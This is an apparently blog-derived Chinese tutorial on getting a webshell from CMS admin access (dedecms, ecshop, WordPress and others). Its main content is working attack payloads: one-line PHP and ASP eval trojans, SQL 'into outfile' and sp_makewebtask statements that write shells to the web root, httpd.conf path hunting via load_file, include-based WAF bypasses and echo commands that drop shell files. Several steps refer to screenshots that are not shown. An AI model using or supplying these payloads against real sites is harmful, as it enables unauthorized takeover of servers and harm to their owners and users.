以dedecms为例,后台可以直接上传脚本文件,从而getshell,具体方法如下:
即可成功上传大马,并成功执行,从而拿下webshell。
坑:通常由于权限限制,导致只有该目录权限,无法进入其他目录,此时便可以采用…/跳转到根目录,或者其他目录,此时所采用的方法是如下的文件改名
以南方数据cms为例:
1,首先上传一张图片马上去,并且获取图片马的路径
2,在系统管理处选择数据库备份,进行数据库备份getshell,具体操作方法如下:
然后使用菜刀连接即可成功getshell。
当所备份的数据库来源无法修改时,我们可以通过首先将一句话木马写入数据库,比如通过新建管理员用户,将用户名用一句话木马代替(用户名通常有长度限制,在前端修改maxlength即可)
<%eval request (“pass”)%>
然后再通过备份数据库getshell。
有的网站在网站上传类型中限制了上传脚本类型文件,我们可以去添加上传文件类型,如添加asp|php|jsp|aspx|asa|cer等来拿webshell。
记录在了这篇博客上面:https://www.cnblogs.com/v01cano/p/10326366.html
注:asp中单引号表示单行注释作用
“%><%eval request(“v01cano”)%><%‘
一般先试试看该选项是否可以更改,如果可以更改,则插马试试,因为插马可能导致系统崩溃,所以一般需要首先需要本地搭建环境进行测试。
1,通过对网站的模板进行编辑写入一句话,然后生成脚本文件拿webshell。比如ecshop
2,通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器,拿webshell。
即利用网站管理员的添加插件功能getshell,将大马添加到插件的压缩包中,然后上传,从而getshell。比如wordpress,dz等等。
通过sql语句写入shell,首先执行错误的sql语句,使其暴露出网站的根目录:
select "" into outfile "C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php";
关于此语句说明,在windows中有时候需要使用斜杠/有时候需要使用双反斜杠\末尾有时候需要分号,有时候也不需要分号。
以ecshop为例:
也可以先将一句话通过新建管理员写入到user表中,然后通过数据库备份配合解析漏洞拿shell。
我们可以通过数据库执行命令导出一句话到网站根目录拿shell
access数据库导出一般需要利用解析漏洞xx.asp;.xml
sqlserver导出:
exec sp_makewebtask ‘C:\test1.php‘,‘ select ‘‘<%eval request("pass")%>‘‘ ‘--
mysql命令导出getshell:
方法1
Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES(‘<?php eval($_POST[xiaoma]);?>‘);
select xiaoma1 from xiaoma into outfile ‘D:/phpstudy/www/7.php‘;
Drop TABLE IF EXISTS xiaoma;
方法2
select "" into outfile ‘D:/phpstudy/www/a.php‘
方法3:方法1和方法2都是在网站根目录路径已知的时候写入shell,当数据库路径未知时,可以通过如下方法读取数据库路径:网站的根目录一般在网站配置文件httpd.conf中,而此目录的路径一般不变,一般在/apache/conf/httpd.conf中,(在phpmyadmin中的时候,我们可以选择变量选项观察其路径,进而推测httpd.conf的路径),在已知该文件路径的条件下,我们可以通过如下方法读取该文件中的内容:
//创建表a,并且将httpd.conf写入到表a中。
create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf" into table a;
然后执行导出操作,将该文件下载,使用notepad++打开,最后搜索documentroot,即可找到网站的根目录:
httpd.conf文件可能存在的一些路径:
linux中可能存在路径:
apache
/usr/local/mysql
/user/local/apache/conf/httpd.conf
/user/local/httpd/conf/httpd.conf
/etc/httpd/conf/httpd.conf
/user/local/apache2/conf/httpd.conf
Nginx:
/user/local/nginx/conf/httpd.conf
方法四:直接通过load_file函数直接加载该文件内容
select load_file(‘C:/phpStudy/Apache/conf/httpd.conf‘);
但是需要在选项中进行如下配置才会显示出来:
方法n:还有通过日志拿shell的多种方式,已经记录在博客:
https://www.cnblogs.com/v01cano/p/10292670.html
先将webshell改为txt文件上传,然后上传一个脚本文件包含该txt文件,可以绕过waf拿webshell。
常用的文件包含方法如下:
asp包含:
1,<!--#include file="123.jpg"-->
2,调用的文件必须和被调用的文件在同一目录,否则找不到
3,如果不在同一目录,用下面语句也可以:
<!--#include virtual="文件所在目录/123.jpg"-->
php包含:
<?php
Include(‘123.jpg‘);
?>
Echo ^<^?php @eval($_POST[v01cano]);?^>^ >c:\1.php
^<^%eval request("cracer")%^>^ >c:\1.php
0day拿webshell
IIS写权限拿webshell(put一个shell进去)
命令执行拿webshell
通过注入漏洞拿webshell
前台图片上传拿webshell
Strusts2拿webshell
java反序列拿shell